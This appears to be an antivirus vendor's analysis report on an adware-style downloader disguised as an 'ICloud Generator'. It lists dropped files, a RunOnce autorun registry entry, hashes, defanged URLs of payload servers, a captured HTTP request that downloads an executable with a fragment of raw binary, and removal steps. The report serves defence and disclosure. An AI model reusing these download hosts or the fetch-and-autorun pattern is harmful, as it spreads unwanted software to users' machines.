Sample_8ce9157890

Dynamic Analysis

Payload

No specific payload has been found.

Process activity

The PUP creates the following process(es):

%original file name%.exe:1676

The PUP injects its code into the following process(es):No processes have been created.

Mutexes

The following mutexes were created/opened:No objects were found.

File activity

The process %original file name%.exe:1676 makes changes in the file system.

The PUP creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\b_setup.exe (7846 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsp2.tmp\setup.dll (6720 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsp2.tmp\NSISdl.dll (14 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsp2.tmp\conf (113 bytes)

The PUP deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\nsa1.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\local.exe (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsp2.tmp\conf (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsp2.tmp\NSISdl.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsp2.tmp (0 bytes)

Registry activity

The process %original file name%.exe:1676 makes changes in the system registry.

The PUP creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "CA 20 E1 2A 09 3F 36 89 0F 71 43 CB D2 22 0F 14"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\System\CurrentControlSet\Control\Session Manager]
"PendingFileRenameOperations" = "\??\C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsp2.tmp\,"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

To automatically run itself each time Windows is booted, the PUP adds the following link to its file to the system registry autorun key:

[HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce]
"ICloud Generator V 3.1.2" = "C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\b_setup.exe"

Dropped PE files

MD5	File path
7049eef61f63b0418257bf9e247fd505	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\b_setup.exe

HOSTS file anomalies

No changes have been detected.

Rootkit activity

No anomalies have been detected.

Propagation

Removals

Remove it with Ad-Aware

1. Click (here) to download and install Ad-Aware Free Antivirus.
2. Update the definition files.
3. Run a full scan of your computer.

Manual removal*

1. Terminate malicious process(es) (How to End a Process With the Task Manager):

   %original file name%.exe:1676

2. Delete the original PUP file.
   
3. Delete or disinfect the following files created/modified by the PUP:

   %Documents and Settings%\%current user%\Local Settings\Temp\b_setup.exe (7846 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsp2.tmp\setup.dll (6720 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsp2.tmp\NSISdl.dll (14 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsp2.tmp\conf (113 bytes)

4. Delete the following value(s) in the autorun key (How to Work with System Registry):

   [HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce]
   "ICloud Generator V 3.1.2" = "C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\b_setup.exe"

5. Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
   

*Manual removal may cause unexpected system behaviour and should be performed at your own risk.

Static Analysis

VersionInfo

No information is available.

No information is available.

PE Sections

Name	Virtual Address	Virtual Size	Raw Size	Entropy	Section MD5
.text	4096	23628	24064	4.46394	856b32eb77dfd6fb67f21d6543272da5
.rdata	28672	4764	5120	3.4982	dc77f8a1e6985a4361c55642680ddb4f
.data	36864	154712	1024	3.3278	7922d4ce117d7d5b3ac2cffe4b0b5e4f
.ndata	192512	45056	0	0	d41d8cd98f00b204e9800998ecf8427e
.rsrc	237568	2536	2560	3.13983	2f680908cecb63b3d2f77e5b6d01b658

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

Total found: 385
87af60575e95350381303447cd2e0d96
0b26705557ed087df3a4e86054649170
f66749fac171b2a4f5f2a7550f5e78eb
24490f1552fbe05b0e518433d1c927b4
81128e76322d1d4e63606a027d4d1c36
21970fa6d812a33ffc229b96eceb1bae
ab01e2dc7a26a914027e73bc98eb7452
19c600cd0b59636af78613dc63deff30
d2a635fbacbad0ac837646edca81bf8f
a24506925709abb2c9cd0c419ea2ecd7
1bdf99e3c8aef33fd3f694378574c64e
297ea80c532f1e653b6bfad9b0f5bdcb
c64333ff5aa15b72d05f9604fd5b650c
8bc5e8828e0f2dc2bc636874594512d0
15399070593f311505d112b9c4738605
6cad8969964bda9bf93648e4f8d842c4
bf9d2df7b005ab40b413f9eba9589b95
9462c92f54151d6f6faee759d0be457f
dd4634c10a37abc7eee65626c3f19cc7
2470a83a4efffe5d4f7832796432ea53
94f281f53ee0859ab9149c10edc88c92
a7b0dca6353427d531a8ce0b66b26a97
cd8fa2b9267480f91c4535548e452dd1
30aed6ed499070bc8e5e51d344c1a95a
8889fd1e4a22e8889acd6cb5f84a09ef

Network Activity

URLs

URL	IP
hxxp://pe-wine.club/launch_reb.php?p=sevenzip&pid=1248&tid=3829143&b_typ=pe	46.21.100.248
hxxp://d1gahxamcuu9d3.cloudfront.net/stub_maker.php?program=sevenzip&tid=3829143&pid=1248&b_typ=pe&reb=1&name=&name=Windows Utilities&t=boot
hxxp://tadly.fc-greed.website/stub_maker.php?program=sevenzip&tid=3829143&pid=1248&b_typ=pe&reb=1&name=&name=Windows Utilities&t=boot	54.230.200.78

IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

Traffic

GET /stub_maker.php?program=sevenzip&tid=3829143&pid=1248&b_typ=pe&reb=1&name=&name=Windows Utilities&t=boot HTTP/1.0

Host: tadly.fc-greed.website

User-Agent: NSISDL/1.2 (Mozilla)

Accept: */*

HTTP/1.1 200 OK

Content-Type: application/force-download

Content-Length: 80156

Connection: close

Server: Microsoft-IIS/7.5

X-Powered-By: PHP/5.3.28

Content-Disposition: attachment; filename="54e7c6842324c.exe"

X-Powered-By: ASP.NET

Date: Fri, 20 Feb 2015 23:43:00 GMT

X-Cache: Miss from cloudfront

Via: 1.1 e13dc20cb35881b25fb296fb0383f55c.cloudfront.net (CloudFront)

X-Amz-Cf-Id: JOnJzyQLiXHBCMl1Ma_oTfSgQsEKmP8Qo8-sJqdtw54gHzBnl3PGQA==

MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..iu..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i........................PE..L......K.................Z...........0.......p....@..........................................................................s...........@...........................................................................p...............................text....X.......Z.................. ..`.rdata.......p.......^..............@..@.data...x............p..............@....ndata...@...@...........................rsrc....@.......B...t..............@..@........................................................................................................................................................................................................................................................................................................................................................................U....\.}..t .}.F.E.u..H.....>B..H.P.u..u..u...Hr@..B...SV.5.>B..E.WP.u...Lr@..e...E..E.P.u...Pr@..}..e....Dp@........FR..VV..U... M.......M....3.....FQ.....NU..M..........VT..U.....FP..E...............E.P.M...Hp@..E...E.P.E.P.u...Tr@..u....E..9}...w....~X.te.v4..Lp@....E.tU.}.j.W.E......E.......Pp@..vXW..Tp@..u..5Xp@.W...E..E.h ...Pj.h.6B.W..Xr@..u.W...u....E.P.u...\r@._^3.[.....L$...>B...Si.....VW.T.....tO.q.3.;5.>B.sB..i......D.......t.G.....t...O..t .....u...3....3...F.....;5.>B.r._^[...U.

<<< skipped >>>

GET /launch_reb.php?p=sevenzip&pid=1248&tid=3829143&b_typ=pe HTTP/1.0

Host: pe-wine.club

User-Agent: NSISDL/1.2 (Mozilla)

Accept: */*

HTTP/1.1 200 OK

Date: Fri, 20 Feb 2015 23:43:48 GMT

Server: Apache/2.2.15 (CentOS)

X-Powered-By: PHP/5.3.3

Content-Length: 113

Connection: close

Content-Type: text/html; charset=UTF-8

s=boot..u=hXXp://tadly.fc-greed.website/stub_maker.php?program=sevenzip&tid=3829143&pid=1248&b_typ=pe&reb=1&name=..

Map

The PUP connects to the servers at the folowing location(s):

Strings from Dumps